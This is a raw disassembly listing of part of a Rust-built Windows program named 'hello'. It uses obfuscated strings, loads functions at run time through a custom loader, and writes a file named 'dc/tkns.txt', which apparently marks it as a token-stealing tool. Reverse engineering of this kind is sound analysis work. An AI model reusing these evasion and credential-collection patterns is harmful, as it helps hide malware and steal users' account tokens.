pmovmskb r8d, xmm1
test r8d, r8d
jne 0x140051b6f
lea rcx, [r14 + 0x23]
mov r9d, eax
and r9b, 1
cmp rcx, r10
jae 0x140051b91
add r14, 0x10
test r9b, r9b
je 0x140051b30
jmp 0x140051b91
mov rcx, r15
mov rdx, r14
xor r9d, r9d
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
mov r10, qword [rsp + 0x48]
jmp 0x140051b54
lea r15, [rsp + 0xe0]
mov rbx, qword [rsp + 0x58]
lea rcx, [rbx + r10]
add rcx, 0xffffffffffffffed
movdqu xmm0, xmmword [rbx + r10 - 0x13]
movdqu xmm1, xmmword [rbp + rcx]
pcmpeqb xmm0, xmm13
pcmpeqb xmm1, xmm14
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x140054c8a
and al, 1
mov qword [rsp + 0x11b8], rdi
test al, al
jne 0x140050693
jmp 0x1400504d8
mov r14, rbp
jmp 0x140051c37
mov eax, esi
and eax, 3
cmp eax, 1
mov r14, rbp
jne 0x140051c37
mov rbx, qword [rsi - 1]
mov rdi, qword [rsi + 7]
mov rax, qword [rdi]
test rax, rax
je 0x140051c00
cmp qword [rsp + 0xe8], 0
je 0x140051c58
mov r8, qword [rsp + 0xe0]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rcx, qword [rsp + 0x108]
call fcn.140137e0c
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0xa0], rax
mov rbp, qword [rsp + 0x5e8]
mov rax, qword [rsp + 0x5f0]
lea rcx, [rax + rax*2]
lea rcx, [rcx*8]
add rcx, rbp
mov qword [rsp + 0x500], rcx
test rax, rax
mov r12, qword [rsp + 0x70]
mov qword [rsp + 0x40], rbp
mov r15, rbp
jne 0x140051d32
lea rax, [0x1402b976d]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x602ab7b0
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h3f08c4e0664696df
mov rcx, qword [rax]
movabs rdx, 0x70eec15ba8bbecac
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x19
xor r8b, 0x52
xor dl, 0x7b
mov qword [rsp + 0x5e0], rcx
mov byte [rsp + 0x5e8], al
mov byte [rsp + 0x5e9], r8b
mov byte [rsp + 0x5ea], dl
mov r8d, 0xb
lea rdi, [rsp + 0x1240]
mov rcx, rdi
lea rsi, [rsp + 0x5e0]
mov rdx, rsi
call sym.hello::utils::loader::LoadMod::new::h6aa09c92f5645740
cmp qword [rsp + 0x1240], r14
jne 0x140055eac
mov r12, qword [rsp + 0x1248]
lea rax, [0x1402b6385]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x96ec2d7f
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::hbc922a48d86d8a1e
mov rcx, qword [rax]
movabs rdx, 0xbc5fd95329cbf49f
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0x56c43596a9c6c7c9
xor rdx, r8
movzx eax, word [rax + 0x10]
mov r8d, eax
xor r8b, 0xd
shr eax, 8
xor al, 0x28
mov qword [rsp + 0x5e0], rcx
mov qword [rsp + 0x5e8], rdx
mov byte [rsp + 0x5f0], r8b
mov byte [rsp + 0x5f1], al
mov r9d, 0x12
mov rcx, rdi
mov qword [rsp + 0x50], r12
mov rdx, r12
mov r8, rsi
call sym.hello::utils::loader::LoadMod::get_function::he5f5b36109da995f
cmp qword [rsp + 0x1240], r14
jne 0x140055ef8
lea rax, [rbx + rbx*2]
mov r14, qword [rsp + 0x40]
lea rsi, [r14 + rax*8]
cmp rbp, r14
je 0x1400524a9
lea rcx, [rsp + 0x1240]
mov rdx, r14
mov r8, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h837baa1ab4fbcfd9
mov r14, qword [rsp + 0x1250]
jmp 0x1400507a2
lea rdx, [rax + 7]
and rdx, 0xfffffffffffffff8
sub rdx, rax
movdqa xmm2, xmmword [0x1402b3f90]
movdqa xmm3, xmmword [0x1402b3fa0]
movabs r10, 0x8080808080808080
jne 0x140054c3e
lea r8, [rcx - 0x10]
xor edx, edx
jmp 0x140054cbb
lea rdx, [rax + 7]
and rdx, 0xfffffffffffffff8
sub rdx, rax
movdqa xmm2, xmmword [0x1402b3f90]
movdqa xmm3, xmmword [0x1402b3fa0]
movabs r10, 0x8080808080808080
jne 0x140054c64
lea r8, [rcx - 0x10]
xor edx, edx
jmp 0x140055274
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rbx
call fcn.140137fbc
mov rdi, qword [rsp + 0x558]
mov rsi, qword [rsp + 0x560]
mov rbx, qword [rsp + 0x568]
test r14, r14
je 0x1400540eb
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, qword [rsp + 0x838]
call fcn.140137fbc
mov rax, qword [rsp + 0x540]
mov r14, qword [rsp + 0x550]
sub rax, r14
cmp rax, rbx
jb 0x140054c1e
mov rcx, qword [rsp + 0x548]
add rcx, r14
mov rdx, rsi
mov r8, rbx
call sym.memcpy
add r14, rbx
mov qword [rsp + 0x550], r14
test rdi, rdi
je 0x14005413e
lea rcx, [rsp + 0x540]
mov rdx, r14
mov r8, rbx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h837baa1ab4fbcfd9
mov r14, qword [rsp + 0x550]
jmp 0x140054107
cmp rdx, rcx
cmovae rdx, rcx
xor r8d, r8d
cmp byte [rax + r8], 0xa
je 0x140054d00
inc r8
cmp rdx, r8
jne 0x140054c48
lea r8, [rcx - 0x10]
jmp 0x140054ce7
cmp rdx, rcx
cmovae rdx, rcx
xor r8d, r8d
cmp byte [rax + r8], 0xa
je 0x1400552b9
inc r8
cmp rdx, r8
jne 0x140054c6e
lea r8, [rcx - 0x10]
jmp 0x1400552a0
lea rdx, [r10 - 0x13]
test r9b, r9b
mov rsi, rbx
setne bl
mov rcx, r15
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
or al, bl
mov rbx, rsi
and al, 1
mov qword [rsp + 0x11b8], rdi
test al, al
jne 0x140050693
jmp 0x1400504d8
movdqu xmm0, xmmword [rax + rdx]
movdqa xmm1, xmm0
pxor xmm1, xmm2
paddq xmm1, xmm3
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq r9, xmm1
test r9, r10
jne 0x140054cf1
add rdx, 0x10
cmp rdx, r8
jbe 0x140054cbb
jmp 0x140054cf1
inc rdx
cmp rcx, rdx
je 0x14004fca2
cmp byte [rax + rdx], 0xa
jne 0x140054cee
mov qword [rsp + 0x5e0], 0
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x5f0], 0
mov r8d, 0x4f
lea rcx, [rsp + 0x5e0]
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h837baa1ab4fbcfd9
mov rsi, 0xffffffffffffffb1
mov rdi, qword [rsp + 0x5f0]
jmp 0x140054d66
mov rax, qword [rsp + 0x5e8]
mov byte [rax + rdi], 0x7e
inc rdi
mov qword [rsp + 0x5f0], rdi
inc rsi
je 0x140054d7f
cmp rdi, qword [rsp + 0x5e0]
jne 0x140054d4a
lea rcx, [rsp + 0x5e0]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h300ed7d86b668954
jmp 0x140054d4a
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0x590], rax
movdqu xmm0, xmmword [rsp + 0x5e0]
movdqa xmmword [rsp + 0x580], xmm0
mov r8d, 0x13
lea rbx, [rsp + 0x4e0]
mov rcx, rbx
lea rdx, str.regex_parse_error:_nerror:
call sym._ZN58__LT_alloc..string..String_u20_as_u20_core..fmt..Write_GT_9write_str17h94ef6ec67befc569E.2169
test al, al
lea rbp, [rsp + 0x5e0]
lea rdi, [rsp + 0xf90]
lea rsi, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
jne 0x140056099
lea rax, [rsp + 0x580]
mov qword [rsp + 0xf90], rax
mov qword [rsp + 0xf98], rsi
lea rax, [0x1402e24d0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
mov r8, rbp
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x140056099
lea r14, [rsp + 0xb50]
mov rcx, r14
lea rdx, [rsp + 0x900]
call sym.regex_syntax::error::Spans::notate::hcfe7ac1571b6ec15
mov qword [rsp + 0xf90], r14
lea r14, sym._ZN4core3ptr205drop_in_place_LT__LT_alloc..boxed..Box_LT_dyn_u20_core..error..Error_u2b_core..marker..Sync_u2b_core..marker..S
mov qword [rsp + 0xf98], rsi
lea rax, [0x140326fc0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
mov r8, rbp
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x140056078
lea rax, [rsp + 0x580]
mov qword [rsp + 0xf90], rax
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0xf98], rax
lea rax, [0x1402e24d0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
lea r8, [rsp + 0x5e0]
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x140056078
mov rax, qword [rsp + 0x928]
test rax, rax
je 0x1400551c2
mov qword [rsp + 0x868], 0
mov qword [rsp + 0x870], 8
mov qword [rsp + 0x878], 0
mov rdi, qword [rsp + 0x920]
add rdi, 0x20
shl rax, 4
lea rbx, [rax + rax*2]
mov r15d, 8
xor r14d, r14d
xor esi, esi
lea rbp, [rsp + 0x5e0]
jmp 0x140054fd2
mov rax, qword [rsp + 0x14b0]
mov qword [r15 + r14*2 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x14a0]
movdqu xmmword [r15 + r14*2], xmm0
inc rsi
mov qword [rsp + 0x878], rsi
add r14, 0xc
add rdi, 0x30
add rbx, 0xffffffffffffffd0
je 0x1400550b0
lea rax, [rdi - 0x18]
lea rcx, [rdi - 0x10]
mov rdx, qword [rdi + 8]
dec rdx
mov qword [rsp + 0x520], rdx
mov qword [rsp + 0x5e0], rax
lea rdx, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u64_::fmt::habbd8e64303c6dcd]
mov qword [rsp + 0x5e8], rdx
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rdx
mov qword [rsp + 0x600], rdi
mov qword [rsp + 0x608], rdx
lea rax, [rsp + 0x520]
mov qword [rsp + 0x610], rax
mov qword [rsp + 0x618], rdx
lea rax, str.on_line___column___through_line
mov qword [rsp + 0xf90], rax
mov qword [rsp + 0xf98], 5
mov qword [rsp + 0xfb0], 0
mov qword [rsp + 0xfa0], rbp
mov qword [rsp + 0xfa8], 4
lea rcx, [rsp + 0x14a0]
lea rdx, [rsp + 0xf90]
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
cmp rsi, qword [rsp + 0x868]
jne 0x140054f99
lea rcx, [rsp + 0x868]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h71ceaccfe28cdad1
mov r15, qword [rsp + 0x870]
jmp 0x140054f99
mov rbx, qword [rsp + 0x870]
lea rdi, [rsp + 0xf90]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call sym.alloc::str::join_generic_copy::h9c7d910de0333a56
mov qword [rsp + 0x520], rdi
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0x528], rax
lea rax, [0x1402e24d0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
lea rax, [rsp + 0x520]
mov qword [rsp + 0x5f0], rax
mov qword [rsp + 0x5f8], 1
lea rcx, [rsp + 0x4e0]
lea rdx, sym._ZN4core3ptr205drop_in_place_LT__LT_alloc..boxed..Box_LT_dyn_u20_core..error..Error_u2b_core..marker..Sync_u2b_core..marker..S
mov r8, rbp
call sym._ZN4core3fmt9Formatter9write_fmt17h8e4b2cd3f8dbab27E.4605
mov r14d, eax
cmp qword [rsp + 0xf90], 0
je 0x140055173
mov r8, qword [rsp + 0xf98]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rbx, qword [rsp + 0x870]
mov rsi, qword [rsp + 0x878]
mov rcx, rbx
mov rdx, rsi
call sym.__alloc::vec::Vec_T_A__as_core::ops::drop::Drop_::drop::h1ee58b1432c5be8c
cmp qword [rsp + 0x868], 0
je 0x14005519a
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rbx
call fcn.140137fbc
test r14b, r14b
lea rdi, [rsp + 0xf90]
lea r15, [rsp + 0xe0]
lea rbx, [rsp + 0x4e0]
lea r14, sym._ZN4core3ptr205drop_in_place_LT__LT_alloc..boxed..Box_LT_dyn_u20_core..error..Error_u2b_core..marker..Sync_u2b_core..marker..S
jne 0x140056078
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0xf90], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::ha85532e368e9f40f]
mov qword [rsp + 0xf98], rax
lea rax, [0x1402e24c0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
lea r8, [rsp + 0x5e0]
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x140056078
cmp qword [rsp + 0xb50], 0
je 0x140055258
mov r8, qword [rsp + 0xb58]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
cmp qword [rsp + 0x580], 0
je 0x140050018
mov r8, qword [rsp + 0x588]
jmp 0x14005000a
movdqu xmm0, xmmword [rax + rdx]
movdqa xmm1, xmm0
pxor xmm1, xmm2
paddq xmm1, xmm3
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq r9, xmm1
test r9, r10
jne 0x1400552aa
add rdx, 0x10
cmp rdx, r8
jbe 0x140055274
jmp 0x1400552aa
inc rdx
cmp rcx, rdx
je 0x14004fe1d
cmp byte [rax + rdx], 0xa
jne 0x1400552a7
mov qword [rsp + 0x5e0], 0
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x5f0], 0
mov r8d, 0x4f
lea rcx, [rsp + 0x5e0]
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h837baa1ab4fbcfd9
mov rsi, 0xffffffffffffffb1
mov rdi, qword [rsp + 0x5f0]
jmp 0x14005531f
mov rax, qword [rsp + 0x5e8]
mov byte [rax + rdi], 0x7e
inc rdi
mov qword [rsp + 0x5f0], rdi
inc rsi
je 0x140055338
cmp rdi, qword [rsp + 0x5e0]
jne 0x140055303
lea rcx, [rsp + 0x5e0]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h300ed7d86b668954
jmp 0x140055303
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0x590], rax
movdqu xmm0, xmmword [rsp + 0x5e0]
movdqa xmmword [rsp + 0x580], xmm0
mov r8d, 0x13
lea rbx, [rsp + 0x4e0]
mov rcx, rbx
lea rdx, str.regex_parse_error:_nerror:
call sym._ZN58__LT_alloc..string..String_u20_as_u20_core..fmt..Write_GT_9write_str17h94ef6ec67befc569E.2169
test al, al
lea rbp, [rsp + 0x5e0]
lea rdi, [rsp + 0xf90]
lea rsi, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
jne 0x14005611d
lea rax, [rsp + 0x580]
mov qword [rsp + 0xf90], rax
mov qword [rsp + 0xf98], rsi
lea rax, [0x1402e24d0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
mov r8, rbp
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14005611d
lea r14, [rsp + 0xb50]
mov rcx, r14
lea rdx, [rsp + 0x900]
call sym.regex_syntax::error::Spans::notate::hcfe7ac1571b6ec15
mov qword [rsp + 0xf90], r14
lea r14, sym._ZN4core3ptr205drop_in_place_LT__LT_alloc..boxed..Box_LT_dyn_u20_core..error..Error_u2b_core..marker..Sync_u2b_core..marker..S
mov qword [rsp + 0xf98], rsi
lea rax, [0x140326fc0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
mov r8, rbp
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x1400560fc
lea rax, [rsp + 0x580]
mov qword [rsp + 0xf90], rax
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0xf98], rax
lea rax, [0x1402e24d0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
lea r8, [rsp + 0x5e0]
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x1400560fc
mov rax, qword [rsp + 0x928]
test rax, rax
je 0x14005577b
mov qword [rsp + 0x868], 0
mov qword [rsp + 0x870], 8
mov qword [rsp + 0x878], 0
mov rdi, qword [rsp + 0x920]
add rdi, 0x20
shl rax, 4
lea rbx, [rax + rax*2]
mov r15d, 8
xor r14d, r14d
xor esi, esi
lea rbp, [rsp + 0x5e0]
jmp 0x14005558b
mov rax, qword [rsp + 0x14b0]
mov qword [r15 + r14*2 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x14a0]
movdqu xmmword [r15 + r14*2], xmm0
inc rsi
mov qword [rsp + 0x878], rsi
add r14, 0xc
add rdi, 0x30
add rbx, 0xffffffffffffffd0
je 0x140055669
lea rax, [rdi - 0x18]
lea rcx, [rdi - 0x10]
mov rdx, qword [rdi + 8]
dec rdx
mov qword [rsp + 0x520], rdx
mov qword [rsp + 0x5e0], rax
lea rdx, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u64_::fmt::habbd8e64303c6dcd]
mov qword [rsp + 0x5e8], rdx
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rdx
mov qword [rsp + 0x600], rdi
mov qword [rsp + 0x608], rdx
lea rax, [rsp + 0x520]
mov qword [rsp + 0x610], rax
mov qword [rsp + 0x618], rdx
lea rax, str.on_line___column___through_line
mov qword [rsp + 0xf90], rax
mov qword [rsp + 0xf98], 5
mov qword [rsp + 0xfb0], 0
mov qword [rsp + 0xfa0], rbp
mov qword [rsp + 0xfa8], 4
lea rcx, [rsp + 0x14a0]
lea rdx, [rsp + 0xf90]
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
cmp rsi, qword [rsp + 0x868]
jne 0x140055552
lea rcx, [rsp + 0x868]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h71ceaccfe28cdad1
mov r15, qword [rsp + 0x870]
jmp 0x140055552
mov rbx, qword [rsp + 0x870]
lea rdi, [rsp + 0xf90]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call sym.alloc::str::join_generic_copy::h9c7d910de0333a56
mov qword [rsp + 0x520], rdi
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0x528], rax
lea rax, [0x1402e24d0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
lea rax, [rsp + 0x520]
mov qword [rsp + 0x5f0], rax
mov qword [rsp + 0x5f8], 1
lea rcx, [rsp + 0x4e0]
lea rdx, sym._ZN4core3ptr205drop_in_place_LT__LT_alloc..boxed..Box_LT_dyn_u20_core..error..Error_u2b_core..marker..Sync_u2b_core..marker..S
mov r8, rbp
call sym._ZN4core3fmt9Formatter9write_fmt17h8e4b2cd3f8dbab27E.4605
mov r14d, eax
cmp qword [rsp + 0xf90], 0
je 0x14005572c
mov r8, qword [rsp + 0xf98]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rbx, qword [rsp + 0x870]
mov rsi, qword [rsp + 0x878]
mov rcx, rbx
mov rdx, rsi
call sym.__alloc::vec::Vec_T_A__as_core::ops::drop::Drop_::drop::h1ee58b1432c5be8c
cmp qword [rsp + 0x868], 0
je 0x140055753
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rbx
call fcn.140137fbc
test r14b, r14b
lea rdi, [rsp + 0xf90]
lea r15, [rsp + 0xe0]
lea rbx, [rsp + 0x4e0]
lea r14, sym._ZN4core3ptr205drop_in_place_LT__LT_alloc..boxed..Box_LT_dyn_u20_core..error..Error_u2b_core..marker..Sync_u2b_core..marker..S
jne 0x1400560fc
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0xf90], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h5e98be4893f58ddd]
mov qword [rsp + 0xf98], rax
lea rax, [0x1402e24c0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
lea r8, [rsp + 0x5e0]
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x1400560fc
cmp qword [rsp + 0xb50], 0
je 0x140055811
mov r8, qword [rsp + 0xb58]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
cmp qword [rsp + 0x580], 0
je 0x1400501c0
mov r8, qword [rsp + 0x588]
jmp 0x1400501b2
movzx eax, byte [0x14035b110]
mov edx, 0xb
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055b42
mov rsi, rax
movabs rax, 0x2e736e6b742f6364
mov qword [rsi], rax
mov dword [rsi + 7], 0x7478742e
mov rbx, qword [rsp + 0x1210]
mov rdi, qword [rbx + 0x28]
cmp rdi, qword [rbx + 0x18]
movzx ebp, byte [rsp + 0x6e]
mov r14, qword [rsp + 0x1208]
mov r15, qword [rsp + 0x1200]
mov r12, qword [rsp + 0x11f8]
jne 0x140055898
lea rcx, [rbx + 0x18]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h1c9c6442661ae229
mov rax, qword [rbx + 0x20]
lea rcx, [rdi + rdi*2]
shl rcx, 4
mov qword [rax + rcx], 0xb
mov qword [rax + rcx + 8], rsi
mov qword [rax + rcx + 0x10], 0xb
movdqu xmm0, xmmword [rsp + 0x540]
movdqu xmmword [rax + rcx + 0x18], xmm0
mov rdx, qword [rsp + 0x550]
mov qword [rax + rcx + 0x28], rdx
inc rdi
mov qword [rbx + 0x28], rdi
test r14, r14
je 0x1400559c8
test r15, r15
je 0x14005599a
mov rsi, qword [rsp + 0x858]
movdqa xmm0, xmmword [rsi]
pmovmskb edi, xmm0
not edi
jmp 0x14005591f
dec r15
lea eax, [rdi - 1]
and eax, edi
mov edi, eax
test r15, r15
je 0x14005599a
test di, di
jne 0x14005594f
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r12]
pmovmskb edi, xmm0
add rsi, 0xfffffffffffffd00
add r12, 0x10
cmp edi, 0xffff
je 0x140055930
not edi
tzcnt eax, edi
neg rax
lea rax, [rax + rax*2]
shl rax, 4
lea rbx, [rsi + rax]
cmp qword [rsi + rax - 0x30], 0
je 0x14005597c
mov r8, qword [rbx - 0x28]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
cmp qword [rbx - 0x18], 0
je 0x140055910
mov r8, qword [rbx - 0x10]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
jmp 0x140055910
lea rax, [r14 + 1]
mov ecx, 0x30
mul rcx
add r14, rax
cmp r14, 0xffffffffffffffef
je 0x1400559c8
mov r8, qword [rsp + 0x858]
sub r8, rax
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
cmp byte [rsp + 0x6f], 0
jne 0x1400559e5
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, qword [rsp + 0x860]
call fcn.140137fbc
test bpl, bpl
jne 0x140055a00
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, qword [rsp + 0x11f0]
call fcn.140137fbc
movaps xmm6, xmmword [rsp + 0x1b10]
movaps xmm7, xmmword [rsp + 0x1b20]
movaps xmm8, xmmword [rsp + 0x1b30]
movaps xmm9, xmmword [rsp + 0x1b40]
movaps xmm10, xmmword [rsp + 0x1b50]
movaps xmm11, xmmword [rsp + 0x1b60]
movaps xmm12, xmmword [rsp + 0x1b70]
movaps xmm13, xmmword [rsp + 0x1b80]
movaps xmm14, xmmword [rsp + 0x1b90]
movaps xmm15, xmmword [rsp + 0x1ba0]
add rsp, 0x1bb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 1
mov edx, 7
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 8
mov edx, 0x40
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
xor esi, esi
lea r8, str.hello_src_featureimpl_featureskeys.rs
mov ecx, 1
mov rdx, rsi
call sym.core::panicking::panic_bounds_check::ha5eba36dbaff2278
mov ecx, 1
mov edx, 5
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov qword [rsp + 0x15d0], 0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fgeneric_array_0.14.7_srclib.rs
mov qword [rsp + 0x20], rax
lea r8, [0x1402c3ea0]
lea rdx, [rsp + 0x14a0]
lea r9, [rsp + 0x15d0]
xor ecx, ecx
call sym.core::panicking::assert_failed::h9bcc269a0f084db5
lea r8, str.hello_src_featureimpl_featureskeys.rs
mov ecx, 0xf
mov rdx, rbx
call sym.core::slice::index::slice_end_index_len_fail::h829dac2b01cd87d1
mov ecx, 1
mov edx, 0xb
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 6
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov rax, qword [rsp + 0xb58]
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0xb60]
mov rcx, qword [rsp + 0x88]
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0xe
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 1
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
lea rax, [0x1402c9a90]
mov qword [rsp + 0x20], rax
lea rcx, [0x140326d10]
lea r9, [0x1403265a0]
lea r8, [rsp + 0x15d0]
mov edx, 0x46
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov eax, 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x38], rbx
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x38]
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
call sym.alloc::raw_vec::capacity_overflow::h29d4877d33cf78a3
mov ecx, 1
mov edx, 0x11
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
jmp 0x140055c65
jmp 0x140055ca2
mov ecx, 1
mov edx, 9
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 8
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0xa
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x14
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 4
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
shl rax, 8
mov qword [rsp + 0xd8], rbx
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xf8], rax
lea rax, str.hello_src_featureimpl_featureskeys.rs
jmp 0x140055cd1
shl rax, 8
mov qword [rsp + 0xd8], rbx
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xf8], rax
lea rax, str.hello_src_featureimpl_featureskeys.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_std::env::VarError_::h46e7ce38f52ec155
lea r8, [rsp + 0xe0]
mov edx, 0x2b
